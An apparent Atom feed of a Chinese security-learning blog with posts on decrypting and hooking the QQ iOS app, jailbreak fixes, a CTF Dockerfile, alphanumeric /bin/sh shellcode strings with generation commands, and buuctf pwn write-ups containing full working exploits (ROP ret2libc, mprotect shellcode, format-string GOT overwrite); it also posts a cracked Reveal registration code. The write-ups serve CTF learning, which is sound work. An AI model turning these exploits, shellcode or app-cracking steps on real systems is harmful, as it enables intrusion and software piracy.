ios's blog 2020-08-03T17:15:33.309Z http://iosmosis.github.io/ ios Hexo ios逆向入门笔记-HOOK-QQ登录 http://iosmosis.github.io/2020/08/01/ios逆向入门笔记-HOOK-QQ登录/ 2020-07-31T17:08:21.000Z 2020-08-03T17:15:33.309Z 选择目标

在经过之前的配置,这次有点小改动= 我给小5升级到了10.3.3
本次测试机型:iphone5 32位 10.3.3 不完美越狱
测试目标:QQ

砸壳

手机端下载好QQ后
在这里插入图片描述
usb连接到mac上 使用 frida-ios-dump进行砸壳

手机端安装 Frida for 32-bit devices

源地址 https://build.frida.re

在这里插入图片描述
注意配置dump中的ip port pass

如果不确定Bundle id 可以参考上一篇文章或者使用接下来的方式

python dump.py -l

在这里插入图片描述
如果遇到错误

unable to launch iOS app: The operation couldn’t be completed. (FBSOpenApplicationErrorDomain error 1.)

先在手机启动APP 然后再执行下面命令进行dump就可以了

python dump.py com.tencent.mqq

在这里插入图片描述
这样就基本dump完了
检查下是否砸壳成功
重命名QQ.ipa=>QQ.zip=>解压进入payload

otool -l QQ | grep crypt


crypt_id=0为砸壳成功

基本调试

创建Monkey Dev
在这里插入图片描述

这里可以配置成目标APP的Bundle id 也可以默认
在这里插入图片描述
在TargetAPP目录中拖入我们砸壳后的app文件
在这里插入图片描述
接着连接手机=>点击启动=>测试能否正常编译=>效果:会出现两个QQ
在这里插入图片描述
首次安装需要进入 设置=>通用=>设备管理 点击我们对应的app进行信任授权
在这里插入图片描述
这里可能会遇到 点击我们重签名的app出现闪退情况

解决方法:再次编译运行查看调试信息

发现报错

ERROR: Attempted to load Reveal Library twice. Are you trying to load dynamic library with Reveal Framework already linked?

在这里插入图片描述
造成原因:创建的项目已经自动集成了
RevealServer.framework和libcycript.dylib,且本机已经安装了reveal_load 。
在网上看到的方法貌似不行:打开bulid setting,搜索other linker ,删除objc reveal
解决方法:选择Release编译,或者删除本地的reveal 即可
这里要注意:如果删除了本地的reveal 记得更新/opt/MonkeyDev/Frameworks 目录下的RevealServer.framework为最新版
获取方法 :
在这里插入图片描述
接着重新编译运行 即可正常显示

Reveal+确定目标action及target

因为Monkey dev写入的RevealSever 所以直接打开Reveal就能看到需要调试的app
在这里插入图片描述
通过查看视图界面来确定我们要hook的组件
在这里插入图片描述
本次目标:登录 按钮
在这里插入图片描述
获得了 登录按钮的 地址
通过cycript 连接过去进行调试
具体监听端口可以在这里查看:
在这里插入图片描述

cycript -r 192.168.0.22:6666

注意调试时ip port 换成你的目标机ip port(点击wifi info能查看ip)

arget-action模式很简单,就是当某个事件发生时,调用那个对象中的那个方法。如:按下按钮时,调用Controller里边的click方法。“那个对象”就是Target,“那个方法”就是Action,及Controller是Targer,click方法是action。
也可以类比的理解为Targer 是需要调用的方法的类,action就是里面的方法了
一般Target都是Controller,而Action有它自己固有的格式:-(IBAction)click:(id)sender。
例如:在iOS中有一个UIControl类,该类中定义了一个

-(void)addTarget:(id)target action:(SEL) forControlEvents:(UIControlEvents)controlEvents

查看 该UIButton的target
在这里插入图片描述
查看 该UIButton的Target-Action

[#0x40a2e700 allTargets]
[#0x40a2e700 valueForKey:@"targetActions"]
*(#0x4617c000)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

在这里插入图片描述
这是一个很典型的按钮事件、与上文讲解类型基本一致,
所以到这里我们就能确定 :当点击“登录”按钮时会执行QQLoginViewControlle中的loginButtonClicked

利用Logos 进行 hook

在Logos中的first_app_resignDylib.xm中进行hook编写

在这里插入图片描述
具体操作就是 %hook +需要hook的类名
中间写需要hook的方法
我们这里对loginButtonClicked 进行了重写 内容为弹窗提示

%hook QQLoginViewController
- (void) loginButtonClicked {
    UIAlertView *alert = [[UIAlertView alloc]initWithTitle:@"提示:" message:@"看啥?不可能让你登录的" delegate:self cancelButtonTitle:@"取消" otherButtonTitles:@"确定", nil];
    [alert show];
}
%end

ok写好了我们来运行测试一下
在这里插入图片描述
成功达到hook 登录的目的~

后续

编译遇到问题
在这里插入图片描述
解决方法:
1.shift + cmd + k
2.shift + cmd + Alt + k

  1. 打开 “钥匙串访问” => 右键“登录” 锁定=>输入密码
  2. xattr -cr <path_to_app_bundle>
    例如(xattr -cr ~/Desktop/first_app_resign/first_app_resign)
    全部来一遍基本都能解决2333
]]>
<h2 id="选择目标"><a href="#选择目标" class="headerlink" title="选择目标"></a>选择目标</h2><p>在经过之前的配置,这次有点小改动= 我给小5升级到了10.3.3<br>本次测试机型:iphone5 32位 10.3.3
vcpkg-MacOS10.15-安装问题 http://iosmosis.github.io/2020/05/05/vcpkg-MacOS10-15-安装问题/ 2020-05-05T04:15:25.000Z 2020-05-05T04:18:15.164Z 在安装vcpkg时遇到如下报错

6/75] Building CXX object CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o
FAILED: CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o
/usr/local/bin/g++-9  -DVCPKG_DISABLE_METRICS=0 -DVCPKG_USE_STD_FILESYSTEM=1 -I../include -O3 -DNDEBUG -isysroot /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk   -std=c++17 -MD -MT CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o -MF CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o.d -o CMakeFiles/vcpkglib.dir/src/vcpkg/archives.cpp.o -c ../src/vcpkg/archives.cpp
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/wchar.h:90,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/cwchar:44,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/bits/postypes.h:40,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/bits/char_traits.h:40,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/string:40,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/stdexcept:39,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/array:39,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/tuple:39,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/functional:54,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/pstl/glue_algorithm_defs.h:13,
                 from /usr/local/Cellar/gcc/9.1.0/include/c++/9.1.0/algorithm:71,
                 from ../include/pch.h:22,
                 from ../src/vcpkg/archives.cpp:1:
/usr/local/Cellar/gcc/9.1.0/lib/gcc/9/gcc/x86_64-apple-darwin18/9.1.0/include-fixed/stdio.h:222:7: error: conflicting declaration of 'char* ctermid(char*)' with 'C' linkage
  222 | char *ctermid(char *);
      |       ^~~~~~~
In file included from /Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/unistd.h:525,
                 from ../include/pch.h:19,
                 from ../src/vcpkg/archives.cpp:1:
/Library/Developer/CommandLineTools/SDKs/MacOSX10.15.sdk/usr/include/_ctermid.h:26:10: note: previous declaration with 'C++' linkage
   26 | char    *ctermid(char *);
      |          ^~~~~~~
ninja: build stopped: subcommand failed.

解决方法

./bootstrap-vcpkg.sh --allowAppleClang
]]>
<h4 id="在安装vcpkg时遇到如下报错"><a href="#在安装vcpkg时遇到如下报错" class="headerlink" title="在安装vcpkg时遇到如下报错"></a>在安装vcpkg时遇到如下报错</h4><p></p><p class="code
shellcode http://iosmosis.github.io/2020/03/29/shellcode/ 2020-03-29T12:14:01.000Z 2020-03-29T12:33:24.600Z x64_shellcode

已测试

shellcode = "Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t"

未测试

shellcode = "PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXA"

ALpha3 生成 纯数字字母命令

from pwn import *
context(arch='amd64', os='linux',log_level='debug')
s=open("sc.bin",'w')
sh=asm(shellcraft.amd64.sh())
s.write(sh)
s.close()
python ./ALPHA3.py x64 ascii mixedcase rax --input="sc.bin" > out.bin
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

相关解读文章

NoOne

使用alpha3生成alphanumeric shellcode

x64 alphanumeric shellcodeを書く

x86_shellcode

未测试

shellcode = "PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJIBJTK0XZ9V2U62HFMBCMYJGRHFORSE8EP2HFO3R3YBNLIJC1BZHDHS05PS06ORB2IRNFOT3RH30PWF3MYKQXMK0AA"

msf生成命令

msfvenom -a x86 --platform linux -p linux/x86/exec CMD="/bin/sh" -e x86/alpha_upper BufferRegister=eax

相关解读

shellcode 的艺术

]]>
<h1 id="x64-shellcode"><a href="#x64-shellcode" class="headerlink" title="x64_shellcode"></a>x64_shellcode</h1><h3 id="已测试"><a href="#已测试" c
docker笔记 http://iosmosis.github.io/2020/03/05/docker笔记/ 2020-03-04T16:50:09.000Z 2020-08-05T11:18:49.131Z build

docker build -t c_shell .

Dockerfile

#build ssh images
#
#VERSION        1.0

FROM ubuntu:16.04
MAINTAINER NSS/Czh

#更换国内源文件
COPY    ./sources.list /etc/apt/sources.list
RUN     apt-get update \
        && echo "#!/bin/sh\nexit 0" > /usr/sbin/policy-rc.d \
        && DEBIAN_FRONTEND="noninteractive" apt-get install -y openssh-server \
        && rm -rf /var/lib/apt/lists/*
#设置用于ssh连接的root密码
RUN     useradd -m dluctf
RUN     echo 'dluctf:test'|chpasswd
RUN     mkdir -p /var/run/sshd
RUN     chown -R root:dluctf /home/dluctf && \
        chmod -R 750 /home/dluctf && \
        chmod 740 /home/dluctf/flag

#允许root连接
RUN     sed -i 's/PermitRootLogin without-password/PermitRootLogin yes/g' /etc/ssh/sshd_config

EXPOSE  22
CMD     ["/usr/sbin/sshd", "-D"]

运行

docker run -d -p 10001:22 images_name

进入

sudo docker exec -i -t images_name /bin/sh
]]>
<h1 id="build"><a href="#build" class="headerlink" title="build"></a>build</h1><p></p><p class="code-caption" data-lang="" data-line_number=
ios逆向入门笔记-基本工作 http://iosmosis.github.io/2020/02/29/ios逆向入门笔记-基本工作/ 2020-02-29T15:08:10.000Z 2020-08-03T17:15:00.942Z ios逆向入门笔记

手机越狱

版本iphone5 ios8.4.1

遇到问题

1.Cydia跳出Failed to fetch http://repo666.ultrasn0w.com 的錯誤訊息 done!

解决方法 :删除这个源就行了

woc 买来的手机越狱过了然后被卖家恢复出厂设置了== 坑死

2.由于越狱后恢复出厂设置导致数据库错误 Cydia跳出Could not open file /var/lib/dpkg/status

done!

解决方法

由于重置导致无法使用openssh 所以 这里有个无openssh 修复教程

修复工具下载:

上传有点慢麻烦 写完后再上传

先利用ifunbox 将cydia-fix里的lib文件夹直接拖入ibooks

img

点击并拖拽以移动

接着利用impactor 导入ipa

img

点击并拖拽以移动

将ipa文件拖入这里 输入登录的id 密码 即可安装

接着在手机端 进行命令输入

先输入 su
会提示要求输入密码 默认密码:alpine
接着复制lib 创建log/apt文件夹
cp -R /var/mobile/Media/Books/lib /var
mkdir /var/log/apt

点击并拖拽以移动

img点击并拖拽以移动

重启cydia

搞定!~~ 撒花撒花

3.安装 dumpdecrypted 时遇到 SDK “iphoneos” cannot be located 问题

产生原因:xcode 命令行目录不正确 可以使用命令查看当前 xcode路径

xcode-select --print-path

点击并拖拽以移动

img点击并拖拽以移动

看到路径不正确 所以 我们指定下路径即可搞定

sudo xcode-select --switch /Applications/Xcode.app/Contents/Developer/

点击并拖拽以移动

img点击并拖拽以移动

4.遇到问题 安装openssh 插件后 还是无法使用内网连接ssh (手机 iphone5 美版 有锁 ios8.4.1)

img点击并拖拽以移动

解决方法:

我尝试了卸载本地的 openssh 和openssl 接着重装一下

然后通过修改了系统语言为英文 搞定

img点击并拖拽以移动

5.遇到iExplorer 安装时 显示dmg镜像损坏

解决方法

sudo spctl --master-disable

点击并拖拽以移动

再次安装即可

6.ios ssh 如何改密码

登录ssh 默认密码 alpine
输入psswd
根据提示输入change密码就可以啦

点击并拖拽以移动

img点击并拖拽以移动

7.Reveal Debug 教程

https://blog.csdn.net/yinxuanwl/article/details/93474278

打完patch 后输入注册码

注册码:180999999999

点击并拖拽以移动

8.当编译获取appid程序时遇到

img点击并拖拽以移动

Showing All Messages

:-1: No profile for team ‘33SY35N4CB’ matching ‘greenboxDevelopment’ found: Xcode couldn’t find any provisioning profiles matching ‘33SY35N4CB/greenboxDevelopment’. Install the profile (by dragging and dropping it onto Xcode’s dock item) or select a different one in the General tab of the target editor. (in target ‘iOSAppsInfo’)

该错误是由于没有修改id的原因

解决方法:

xcode 左侧搜索到teamid 双击后 左侧搜索id 或者 DEVELOPMENT_TEAM 接着在列表框更改为自己的id即可

img点击并拖拽以移动

9.编译时遇到错误

:-1: No profile for team xxx (Personal Team)’ matching '[email protected]‘ found: Xcode couldn’t find any provisioning profiles matching '99994Y3DQ2/[email protected]‘. Install the profile (by dragging and dropping it onto Xcode’s dock item) or select a different one in the General tab of the target editor. (in target ‘iOSAppsInfo’)

img点击并拖拽以移动

解决方法:

找到项目配置 signing 接着 在 Automatically manage signing 处打勾 在team栏选择自己登录的账号

img点击并拖拽以移动

注意方框里的内容 复制它

54f11589-255a-47a3-beb1-3c68019bd296

点击并拖拽以移动

打开项目文件夹

img点击并拖拽以移动

进入 project.pbxproj

查找该字符串

img点击并拖拽以移动

删除这两行

删除后保存 重启项目

img点击并拖拽以移动

重启项目后

img点击并拖拽以移动

接着就可以正常生成啦

img点击并拖拽以移动

\10. 关于使用xcodebuild 的问题

编译命令

编译命令xcodebuild  -exportArchive -archivePath ~/Library/Developer/Xcode/Archives/2019-06-24/iosid.xcarchive -exportPath iosid.ipa -exportOptionsPlist ~/Library/Developer/Xcode/Archives/2019-06-24/iosid.xcarchive/info.plist

点击并拖拽以移动

这里要说明的是 xcodebuild利用 xxxx.xcarchive包导出成ipa文件命令格式

xcodebuild  -exportArchive
-archivePath <archivePath> #.xcarchive文件的全路径 例如: .../.../XXX.xcarchive
-exportPath <exportPath> #ipa文件导出路径
-exportOptionsPlist <exportOptionsPlistPath> #该文件info.plist文件全部路径 eg: .../.../info.plist

点击并拖拽以移动

根据命令自行修改目录即可

img点击并拖拽以移动

11.当ssh 连接手机 执行ps命令发现提示 command not found

img点击并拖拽以移动

解决方法

打开手机端Cydia 搜索安装

adv-cmds

点击并拖拽以移动

可以看到安装后可以执行的命令有 finger fingerd last lsvfs md ps

img点击并拖拽以移动

接着在执行命令 就可以了

img点击并拖拽以移动 待续。。。。

]]>
<h1 id="ios逆向入门笔记"><a href="#ios逆向入门笔记" class="headerlink" title="ios逆向入门笔记"></a><strong>ios逆向入门笔记</strong></h1><h2 id="手机越狱"><a href="#手机越狱
buuctf-Writeup http://iosmosis.github.io/2020/02/23/buuctf-Writeup/ 2020-02-23T08:41:30.000Z 2020-08-28T16:11:12.133Z [OGeek2019]babyrop

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec ogeek-babyrop
[*] '/home/ios/APwn/buuctf/ogeek-babyrop'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

简单运行程序测试后查看ida

int __cdecl main()
{
  int buf; // [esp+4h] [ebp-14h]
  char v2; // [esp+Bh] [ebp-Dh]
  int fd; // [esp+Ch] [ebp-Ch]

  sub_80486BB();
  fd = open("/dev/urandom", 0);
  if ( fd > 0 )
    read(fd, &buf, 4u);
  v2 = sub_804871F(buf);
  sub_80487D0(v2);
  return 0;
}

读取一个随机数 4 size

执行sub_804871F 返回到v2

执行sub_80487D0(v2)

跟进 sub_804871F

int __cdecl sub_804871F(int a1)
{
  size_t v1; // eax
  char s; // [esp+Ch] [ebp-4Ch]
  char buf[7]; // [esp+2Ch] [ebp-2Ch]
  unsigned __int8 v5; // [esp+33h] [ebp-25h]
  ssize_t v6; // [esp+4Ch] [ebp-Ch]

  memset(&s, 0, 0x20u);
  memset(buf, 0, 0x20u);
  sprintf(&s, "%ld", a1);
  v6 = read(0, buf, 0x20u);
  buf[v6 - 1] = 0;
  v1 = strlen(buf);
  if ( strncmp(buf, &s, v1) )
    exit(0);
  write(1, "Correct\n", 8u);
  return v5;
}

首先看v6=用户输入参数

v1=buf的长度

进行str 字符串比较如果不相等就exit

因为strlen遇到\x00会终止

如果将\x00为字符串首位 则strlen的结果为0

所以strncmp(buf, &s, v1)就只会对比长度0位

从而达到绕过

这里要注意会返回一个值v5 而v5为接下来需要的read的size

可以看到 buf+7=v5

我们只需要构造\x00+任意6size的字符+长度 即可

ssize_t __cdecl sub_80487D0(char a1)
{
  ssize_t result; // eax
  char buf; // [esp+11h] [ebp-E7h]

  if ( a1 == 127 )
    result = read(0, &buf, 0xC8u);
  else
    result = read(0, &buf, a1);
  return result;
}

看到 a1可以控制长度 而a1为return的 v5

且整个程序没用到puts函数 而是用到了write

所以 leak是要使用write函数偏移且重新载入main函数

leak addr

from pwn import *
context.log_level='debug'
p=process('./ogeek-babyrop')
elf=ELF('ogeek-babyrop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
write_got=elf.got['write']
write_plt=elf.sym['write']
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# 这里有坑 注意\n
leak = 'A'*0xe7+'b'*4+p32(write_plt)+p32(0x8048825)+p32(1)+p32(write_got)+p32(4)
#构造leak回环
p.send(leak)
write=u32(p.recv(4))
print hex(write)

getshell

getshell就比较容易了

from pwn import *
context.log_level='debug'
p=process('./ogeek-babyrop')
elf=ELF('ogeek-babyrop')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
write_got=elf.got['write']
write_plt=elf.sym['write']
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# /
leak = 'A'*0xe7+'b'*4+p32(write_plt)+p32(0x8048825)+p32(1)+p32(write_got)+p32(4)
p.send(leak)
write=u32(p.recv(4))
print hex(write)
p.sendline("\x00"+"a"*6+"\xff")
log.info(p.recvuntil('Correct\n'))# /
system=write-libc.sym['write']+libc.sym['system']
binsh=write-libc.sym['write']+next(libc.search('/bin/sh'))
payload1='A'*0xe7+'b'*4+p32(system)+p32(0x1553155)+p32(binsh)
p.sendline(payload1)
p.interactive()

get_started_3dsctf_2016-Pwn

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [esp+4h] [ebp-38h]

  printf("Qual a palavrinha magica? ", v4);
  gets(&v4);
  return 0;
}

明显的栈溢出

void __cdecl get_flag(int a1, int a2)
{
  int v2; // eax
  int v3; // esi
  unsigned __int8 v4; // al
  int v5; // ecx
  unsigned __int8 v6; // al

  if ( a1 == 0x308CD64F && a2 == 0x195719D1 )
  {
    v2 = fopen("flag.txt", "rt");
    v3 = v2;
    v4 = getc(v2);
    if ( v4 != 255 )
    {
      v5 = (char)v4;
      do
      {
        putchar(v5);
        v6 = getc(v3);
        v5 = (char)v6;
      }
      while ( v6 != 255 );
    }
    fclose(v3);
  }
}

给了个get flag函数

检查保护

[*] '/home/ios/APwn/buuctf/get_started_3dsctf_2016'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

基本getshell思路

1.利用栈溢出跳转到v2 = fopen(“flag.txt”, “rt”); 地址处即可读到flag

2.利用mprotect函数修改程序地址可读可写可执行 布置shellcode getshell

过程一

gdb-peda$ file get_started_3dsctf_2016
Reading symbols from get_started_3dsctf_2016...(no debugging symbols found)...done.
gdb-peda$ b main
Breakpoint 1 at 0x8048a20
gdb-peda$ pattern create 300
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%GA%cA%2A%HA%dA%3A%IA%eA%4A%JA%fA%5A%KA%gA%6A%'
gdb-peda$ r
gdb-peda$ c
 ► f 0 41416341
Program received signal SIGSEGV (fault address 0x41416341)
gdb-peda$ pattern offset 0x41416341
1094804289 found at offset: 56

得到偏移后覆盖ret为 fopen(“flag.txt”, “rt”);地址

from pwn import *

p=process('./get_started_3dsctf_2016')
payload='a'*56+p32(0x80489B8)
p.sendline(payload)
#gdb.attach(p)
p.interactive()

过程二

来自引用https://blog.csdn.net/roland_sun/article/details/33728955\

在Linux中,mprotect()函数可以用来修改一段指定内存区域的保护属性

#include <unistd.h>
#include <sys/mmap.h>
int mprotect(const void *start, size_t len, int prot);

prot可以取以下几个值,并且可以用“|”将几个属性合起来使用:

1)PROT_READ:表示内存段内的内容可写;

2)PROT_WRITE:表示内存段内的内容可读;

3)PROT_EXEC:表示内存段中的内容可执行;

4)PROT_NONE:表示内存段中的内容根本没法访问

利用描述:

Start:需要修改的起始地址

len:该段大小 通过End-Start 可以得到size

prot:设置地址段权限 可读:r 4 可写:w 2 可执行:x 1

在gdb中找一个权限较高的地址

gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x080ea000 r-xp    /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ea000 0x080ec000 rw-p    /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ec000 0x0810f000 rw-p    [heap]
0xf7ff9000 0xf7ffc000 r--p    [vvar]
0xf7ffc000 0xf7ffe000 r-xp    [vdso]
0xfffdd000 0xffffe000 rw-p    [stack]

选择一段 0x080ea000 0x080ec000 rw-p

利用栈溢出 覆盖ret到mprotect函数+rop_gadget+传递参数修改权限为rwx

from pwn import *

p=process('./get_started_3dsctf_2016')
#gdb.attach(p)
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
main=0x8048a20
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret

payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(main)
#rwx 4 2 1
p.sendline(payload)
gdb.attach(p)

修改后

─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0 f7fcbfd9 __kernel_vsyscall+9
   f 1  806e162 __read_nocancel+24
   f 2  8051ab9 _IO_new_file_underflow+265
   f 3  80548ac _IO_default_uflow+44
   f 4  804f749 gets+281
gdb-peda$ vmmap
Start      End        Perm    Name
0x08048000 0x080ea000 r-xp    /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ea000 0x080ec000 rwxp    /home/ios/APwn/buuctf/get_started_3dsctf_2016
0x080ec000 0x080ed000 rw-p    mapped
0x08891000 0x088b3000 rw-p    [heap]
0xf7fc8000 0xf7fcb000 r--p    [vvar]
0xf7fcb000 0xf7fcd000 r-xp    [vdso]
0xff90b000 0xff92c000 rw-p    [stack]
gdb-peda$

可以看到成功修改

接着要继续利用rop构造read读入shellcode到0x080ea000 并构造完后返回到0x080ea000 执行shellcode

ss=0x080ea000#size=0x2000
mprotect=0x806ec80
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
shellcode=asm(shellcraft.sh())
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#rwx 4 2 1

这里我们一段一段分析payload

payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)

首先溢出覆盖ret为mprotect函数利用gadget 以堆栈形式pop 传入参数

先传入需要修改权限的地址段 ss

传入ss地址段的长度len

传入权限 rwx=4+2+1=7

0:没有任何权限
4:可读r
2:可写w
1:可执行x
+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

因为上一段gadget为pop pop pop ret 所以

我们ret 到了read 同样传参方式调用read函数

原型

#include <unistd.h>    
ssize_t read(int fd, void *buf, size_t count);
<p class="code-caption" data-lang="" data-line_number="frontend" data-trim_indent="backend" data-label_position="outer" data-labels_left="" data-labels_right="" data-labels_copy=""><span class="code-caption-label"></span></p>

fd: 是文件描述符,对应0

buf: 为读出数据的缓冲区

count:为读入的输入长度

最后我们由于使用gadget pop pop pop ret

因为read会将shellcode读入ss地址段

我们需要ret到ss地址段来执行shellcode

exp

from pwn import *

p=process('./get_started_3dsctf_2016')
elf=ELF('get_started_3dsctf_2016')
read_plt=elf.sym['read']

#gdb.attach(p)
ss=0x080ea000#size=0x2000
mprotect=0x806ec80
main=0x8048a20
pop3=0x080509a5# pop ebx ; pop esi ; pop edi ; ret
shellcode=asm(shellcraft.sh())
payload='a'*56+p32(mprotect)+p32(pop3)+p32(ss)+p32(0x2000)+p32(7)+p32(read_plt)+p32(pop3)+p32(0)+p32(ss)+p32(0x100)+p32(ss)
#rwx 4 2 1
p.sendline(payload)
p.sendline(shellcode)
#gdb.attach(p)
p.interactive()

[第五空间2019 决赛]PWN5

检查保护

ios@ubuntu:~/APwn/buuctf$ checksec PWN5
[*] '/home/ios/APwn/buuctf/PWN5'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

简单运行程序

猜测存在字符串格式化漏洞 用来泄漏canary 接着 存在输入所以可能存在溢出

int __cdecl main(int a1)
{
  unsigned int v1; // eax
  int fd; // ST14_4
  int result; // eax
  int v4; // ecx
  unsigned int v5; // et1
  char nptr; // [esp+4h] [ebp-80h]
  char buf; // [esp+14h] [ebp-70h]
  unsigned int v8; // [esp+78h] [ebp-Ch]
  int *v9; // [esp+7Ch] [ebp-8h]

  v9 = &a1;
  v8 = __readgsdword(0x14u);
  setvbuf(stdout, 0, 2, 0);
  v1 = time(0);
  srand(v1);
  fd = open("/dev/urandom", 0);
  read(fd, &unk_804C044, 4u);
  printf("your name:");
  read(0, &buf, 0x63u);
  printf("Hello,");
  printf(&buf);
  printf("your passwd:");
  read(0, &nptr, 0xFu);
  if ( atoi(&nptr) == unk_804C044 )
  {
    puts("ok!!");
    system("/bin/sh");
  }
  else
  {
    puts("fail");
  }
  result = 0;
  v5 = __readgsdword(0x14u);
  v4 = v5 ^ v8;
  if ( v5 != v8 )
    sub_80493D0(v4);
  return result;
}

发现read处都不存在溢出

但是 main中给出了system(“/bin/sh”)

以及明显的字符串格式化

我们可以利用字符串格式化修改atoi为system函数地址 接着在第二次read输入“bin/sh” 从而getshell

字符串格式化需要测试偏移

一般利用

AAAA.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x.%x

计算偏移

exp

from pwn import *

p=process('PWN5')
elf=ELF('PWN5')
system=elf.plt['system']
atoi=elf.got['atoi']
log.info(p.recvuntil('your name:'))
payload=fmtstr_payload(10,{atoi:system})
p.sendline(payload)
p.sendline('sh')
p.interactive()

在网上看到还有另外一个思路

第五空间2019 决赛]PWN5

因为读入随机数的地址 固定 bss:0x804C044

我们可以修改该地址的随机数为固定值 接着输入相同值即可满足判断 getshell

我们先尝试在0x804C044写入数值

addr=0x804C044
payload=p32(addr)+"%10$n"
def debug(addr = '0x80492A6'):
    raw_input('debug:')
    gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)

在080492A6处下断检查0x804C044当前值是否固定

00:0000│ esp  0xffae1790 —▸ 0x804a027 ◂— 'your passwd:'
01:00040xffae1794 —▸ 0xffae17b8 —▸ 0x804c044 ◂— 0x4
02:00080xffae1798 ◂— 0x63 /* 'c' */
03:000c│      0xffae179c ◂— 0x0
04:00100xffae17a0 —▸ 0xffae17de ◂— 0xffff0000
05:00140xffae17a4 ◂— 0x3
06:00180xffae17a8 ◂— 0xc2
07:001c│      0xffae17ac —▸ 0xf7e1e6bb (handle_intel+107) ◂— add    esp, 0x10
─────────────────────────────────[ BACKTRACE ]──────────────────────────────────
 ► f 0  80492ce
   f 1 f7da6637 __libc_start_main+247
gdb-peda$ x/20wx 0x804C044
0x804c044:    0x00000004    0x00000000    0x00000000    0x00000000
0x804c054:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c064:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c074:    0x00000000    0x00000000    0x00000000    0x00000000
0x804c084:    0x00000000    0x00000000    0x00000000    0x00000000
gdb-peda$

可以看到

当前值被修改为了0x00000004

所以我们在输入pass时输入0x00000004即可getshell

exp

from pwn import *

p=process('PWN5')
#elf=ELF('PWN5')
#system=elf.plt['system']
#atoi=elf.got['atoi']
#log.info(p.recvuntil('your name:'))
#payload=fmtstr_payload(10,{atoi:system})
#p.sendline(payload)
#p.sendline('sh')
#p.interactive()
log.info(p.recvuntil('your name:'))
addr=0x804C044
payload=p32(addr)+"%10$n"
def debug(addr = '0x80492A6'):
    raw_input('debug:')
    gdb.attach(p, "b *" + addr)
debug()
p.sendline(payload)

log.info(p.recvuntil('your passwd:'))
p.sendline(str(0x00000004))
p.interactive()

此payload试了下远程没通 应该是程序权限的原因

我们一字节一字节进行修改

addr=0x804C044
